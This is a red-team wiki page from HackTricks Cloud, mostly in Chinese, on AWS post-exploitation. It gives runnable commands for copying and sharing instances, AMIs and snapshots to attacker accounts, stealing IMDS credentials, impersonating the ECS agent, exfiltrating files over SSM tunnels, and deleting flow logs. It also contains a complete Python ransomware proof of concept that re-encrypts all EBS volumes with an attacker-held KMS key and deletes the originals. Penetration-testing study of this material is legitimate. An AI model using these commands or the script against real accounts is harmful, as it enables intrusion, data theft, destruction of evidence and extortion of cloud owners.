AWS - EC2, EBS, SSM & VPC Post Exploitation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
EC2 & VPC
有关更多信息,请参阅:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC 流量镜像会 复制 VPC 中 EC2 instances 的入站和出站流量,无需在实例本身上安装任何东西。
复制的流量通常会发送到例如网络入侵检测系统 (IDS) 之类的设备进行分析和监控。
攻击者可以滥用此功能来捕获所有流量并从中获取敏感信息:
有关更多信息请查看此页面:
Copy Running Instance
Instances 通常包含某类敏感信息。 有多种方法可以进入(查看 EC2 privilege escalation tricks)。 但是,检查其内容的另一种方法是 create an AMI and run a new instance (even in your own account) from it:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, 通常会包含敏感信息,因此检查它们应该会披露这些信息。
如果你发现一个volume without a snapshot,你可以:Create a snapshot 并执行以下操作,或者直接在该账户内将其mount it in an instance:
Covert Disk Exfiltration via AMI Store-to-S3
Export an EC2 AMI straight to S3 using CreateStoreImageTask to obtain a raw disk image without snapshot sharing. 这允许在不更改实例网络设置的情况下进行完整的离线取证或数据窃取。
AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. 在受害 volume 在同一 AZ 已启用 Multi-Attach 时,此方法特别有用。
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. 无需打开公网端口即可快速获得横向移动路径。
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. 可以绕过基于特定地址的内部 ACL 或 SG 规则。
AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
具有 ec2:ReplaceNetworkAclEntry(或类似)权限的攻击者可以修改子网的 Network ACLs (NACLs),使其变得非常宽松 —— 例如在关键端口上允许 0.0.0.0/0 —— 将整个子网范围暴露给互联网或未授权的网络段。不同于按实例应用的 Security Groups,NACLs 在子网级别生效,因此更改限制性的 NACL 可能会具有更大的影响范围,通过允许访问更多主机来扩大影响。
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
拥有 ec2:Delete* 和 iam:Remove* 权限的攻击者可以删除关键基础设施资源和配置 — 例如 key pairs、launch templates/versions、AMIs/snapshots、volumes 或 attachments、security groups 或 rules、ENIs/network endpoints、route tables、gateways,或 managed endpoints。 这会导致即时的服务中断、数据丢失以及取证证据的丢失。
一个例子是删除 security group:
aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
将 VPC Flow Logs 指向攻击者控制的 S3 bucket,以在受害者账户外持续收集网络元数据(源/目标、端口),用于长期 reconnaissance。
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
即使你将 EC2 锁定使其无法发出流量,它仍然可以 exfil via DNS。
- VPC Flow Logs 不会记录此类活动。
- 你无法访问 AWS DNS logs。
- 可通过将 “enableDnsSupport” 设置为 false 来禁用,命令如下:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
攻击者可能会调用其控制的账户的 API endpoints。Cloudtrail 会记录这些调用,攻击者能够在 Cloudtrail 日志中查看 exfiltrate 的数据。
Open Security Group
你可以通过如下方式打开端口来进一步访问网络服务:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
可以运行一个 EC2 实例并将其注册为用于运行 ECS 实例,然后窃取 ECS 实例的数据。
For more information check this.
ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
在使用 EC2 启动类型的 ECS 上,control plane 会承担每个 task role 并通过 Agent Communication Service (ACS) 的 WebSocket 通道将临时凭证下发给 ECS agent。agent 然后通过任务元数据端点 (169.254.170.2) 将这些凭证提供给容器。ECScape 的研究表明,如果容器可以访问 IMDS 并窃取 instance profile,它可以通过 ACS 冒充 agent 并接收该主机上 所有任务的凭证,包括不会通过元数据端点暴露的 task execution role 凭证。
Attack chain
- Steal the container instance role from IMDS. 需要访问 IMDS 来获取 ECS agent 使用的主机角色。
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
- Discover the ACS poll endpoint and required identifiers. 使用实例角色凭证调用
ecs:DiscoverPollEndpoint以获取 ACS endpoint,并收集诸如 cluster ARN 和 container instance ARN 等标识符。cluster ARN 可通过任务元数据 (169.254.170.2/v4/) 获取,而 container instance ARN 可通过 agent introspection API 或(若被允许)ecs:ListContainerInstances获取。 - Impersonate the ECS agent over ACS. 向 poll endpoint 发起 SigV4 签名的 WebSocket,并包含
sendCredentials=true。ECS 会将该连接视为有效的 agent 会话,并开始为该实例上的 所有 任务推送IamRoleCredentials消息。这包括 task execution role 凭证,可用于 ECR pull、Secrets Manager 获取或 CloudWatch Logs 访问。
Find the PoC in https://github.com/naorhaziz/ecscape
IMDS reachability with IMDSv2 + hop limit 1
将 IMDSv2 的 HttpTokens=required 和 HttpPutResponseHopLimit=1 设置只会阻止位于额外跃点(例如 Docker bridge)之后的任务。其他网络模式仍然与 Nitro 控制器保持一步之遥,仍能收到响应:
| ECS network mode | IMDS reachable? | Reason |
|---|---|---|
awsvpc | ✅ | 每个任务都有自己的 ENI,仍然与 IMDS 保持一跃距离,因此 token 和元数据响应能成功到达。 |
host | ✅ | 任务共享主机命名空间,因此它们与 EC2 实例具有相同的跃点距离。 |
bridge | ❌ | 响应在 Docker bridge 上被丢弃,因为那一额外跃点会耗尽 hop limit。 |
因此,绝不要假设 hop limit 1 可以保护 awsvpc 或 host 模式的工作负载——务必从容器内部进行测试。
Detecting IMDS blocks per network mode
-
awsvpc tasks: 安全组、NACL 或路由调整无法阻止 link-local 地址 169.254.169.254,因为 Nitro 会在主机注入该地址。检查
/etc/ecs/ecs.config中的ECS_AWSVPC_BLOCK_IMDS=true。如果该标志缺失(默认),你可以直接从任务中 curl IMDS;如果设置了该标志,应 pivot 到主机/agent 命名空间将其恢复,或在 awsvpc 外执行你的工具。 -
bridge mode: 当元数据请求失败即便已经配置了 hop limit 1,防御方可能插入了
DOCKER-USER的 drop 规则,例如--in-interface docker+ --destination 169.254.169.254/32 --jump DROP。列出iptables -S DOCKER-USER可发现该规则,root 权限可以在查询 IMDS 前删除或重新排序该规则。 -
host mode: 检查 agent 配置中的
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false。该设置会完全移除任务 IAM 角色,因此你必须重新启用它、迁移到 awsvpc 任务,或通过主机上的其他进程窃取凭证。当该值为true(默认)时,所有 host 模式进程——包括被攻破的容器——都能访问 IMDS,除非部署了针对169.254.169.254的定制 eBPF/cgroup 过滤;检查是否有 tc/eBPF 程序或引用该地址的 iptables 规则。
Latacora 甚至发布了 Terraform validation code,你可以将其部署到目标账户中,以枚举哪些网络模式仍暴露元数据,并据此规划下一步行动。
一旦你确定了哪些模式暴露 IMDS,便可以规划你的后渗透路径:针对任一 ECS 任务,请求实例配置 (instance profile)、冒充 agent,然后收集其它所有任务的角色凭证以便在集群内横向移动或持久化。
Remove VPC flow logs
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Required permissions:
ssm:StartSession
除了命令执行之外,SSM 还允许 traffic tunneling,可以被滥用来从由于 Security Groups 或 NACLs 而没有网络访问的 EC2 实例进行 pivot。 一个常见的场景是从 Bastion Host pivoting 到私有的 EKS 集群。
要启动会话,你需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- 在你的机器上安装 SessionManagerPlugin
- 使用以下命令登录到 Bastion EC2:
aws ssm start-session --target "$INSTANCE_ID"
- 使用 Abusing SSRF in AWS EC2 environment 脚本获取 Bastion EC2 的 AWS 临时凭证
- 将凭证传到你自己的机器,放在
$HOME/.aws/credentials文件中,作为[bastion-ec2]配置文件 - 以 Bastion EC2 的身份登录到 EKS:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- 将
$HOME/.kube/config文件中的server字段更新为指向https://localhost - 按如下方式创建 SSM 隧道:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- 来自
kubectl工具的流量现在通过 SSM 隧道经由 Bastion EC2 转发,您可以在自己的机器上运行以下命令来访问私有 EKS 集群:
kubectl get pods --insecure-skip-tls-verify
注意,除非你设置 --insecure-skip-tls-verify 标志(或在 K8s 审计工具中使用等效选项),否则 SSL 连接会失败。鉴于流量通过安全的 AWS SSM 隧道隧道传输,你不必担心任何形式的 MitM 攻击。
最后,这个方法并不限于攻击私有 EKS 集群。你可以设置任意域名和端口,将流量 pivot 到任何其他 AWS 服务或自定义应用程序。
快速 本地 ↔️ 远程 端口转发 (AWS-StartPortForwardingSession)
如果你只需要将 一个 TCP 端口从 EC2 实例转发到你的本地主机,可以使用 AWS-StartPortForwardingSession SSM 文档(无需远程主机参数):
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
该命令在你的工作站(localPortNumber)和实例上选择的端口(portNumber)之间建立一个双向隧道,无需打开任何入站 Security-Group 规则。
Common use cases:
- File exfiltration
- 在实例上启动一个快速的 HTTP 服务器,指向你想要 exfiltrate 的目录:
python3 -m http.server 8000
- 从你的工作站通过 SSM 隧道获取文件:
curl http://localhost:8000/loot.txt -o loot.txt
- 访问内部 web 应用(例如 Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
提示:在 exfiltrating 之前压缩并加密证据,以防 CloudTrail 记录 clear-text 内容:
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
共享 AMI
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
在公共和私有 AMIs 中搜索敏感信息
- https://github.com/saw-your-packet/CloudShovel: CloudShovel 是一个工具,旨在在公共或私有 Amazon Machine Images (AMIs) 中搜索敏感信息。它自动化了从目标 AMIs 启动实例、挂载它们的卷并扫描潜在的 secrets 或敏感数据的过程。
共享 EBS 快照
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
这是一个概念验证,与 S3 post-exploitation notes 中演示的 Ransomware 演示类似。鉴于它如此方便地被用于对各种 AWS 服务进行加密,KMS 应该被改称为 RMS(Ransomware Management Service)。
首先,在一个 ‘attacker’ AWS 账户中,在 KMS 中创建一个 customer managed key。在本例中我们让 AWS 帮我管理密钥数据,但在真实场景中,恶意行为者会在 AWS 控制之外保留密钥数据。更改 key policy,允许任何 AWS 账户的 Principal 使用该密钥。在这个 key policy 中,账户名为 ‘AttackSim’,允许全部访问的策略规则名为 ‘Outside Encryption’
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
现在有了可公开访问的密钥可用。我们可以使用一个有一些 EC2 instances 启动并附加了未加密 EBS 卷的“受害者”帐户。该“受害者”帐户的 EBS 卷就是我们要加密的目标,此攻击假设已入侵一个具有高权限的 AWS 帐户。
类似于 S3 ransomware example。此攻击将使用快照创建所附 EBS 卷的副本,使用来自“攻击者”帐户的公开可用密钥对新的 EBS 卷进行加密,然后将原始 EBS 卷从 EC2 实例分离并删除,最后删除用于创建这些新加密 EBS 卷的快照。
结果是账户中只剩下加密的 EBS 卷可用。
另外值得注意的是,脚本停止了 EC2 实例以分离并删除原始 EBS 卷。原始未加密卷现在已被删除。
接下来,回到“攻击者”帐户中的密钥策略,并从密钥策略中移除 ‘Outside Encryption’ 策略规则。
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
稍等片刻,等待新设置的密钥策略传播生效。然后返回到 ‘受害者’ 账户并尝试附加其中一个新加密的 EBS 卷。你会发现可以附加该卷。
但是当你尝试实际启动带有该加密 EBS 卷的 EC2 实例时,它会失败并且从 ‘pending’ 状态一直回到 ‘stopped’ 状态,因为所附加的 EBS 卷无法使用该密钥解密,而密钥策略已不再允许。
这是所使用的 python script。它接受用于 ‘受害者’ 账户的 AWS creds 和一个公开可用的 AWS ARN 值作为用于加密的密钥。该脚本会为目标 AWS 账户中附加到所有 EC2 实例的所有可用 EBS 卷制作加密副本,然后停止每个 EC2 实例,分离原始 EBS 卷,删除它们,最后删除过程中使用的所有快照。这样目标 ‘受害者’ 账户中将只剩下加密的 EBS 卷。ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. 你可以使用所用的 KMS key 通过快照恢复它们并将其还原到原始状态,但我要提醒你,这归根结底是一个 ransomware PoC。
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
参考资料
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: 弥补 IMDS 加固中的缺口
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform 仓库
- Pentest Partners – 如何使用 SSM 在 AWS 中传输文件
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

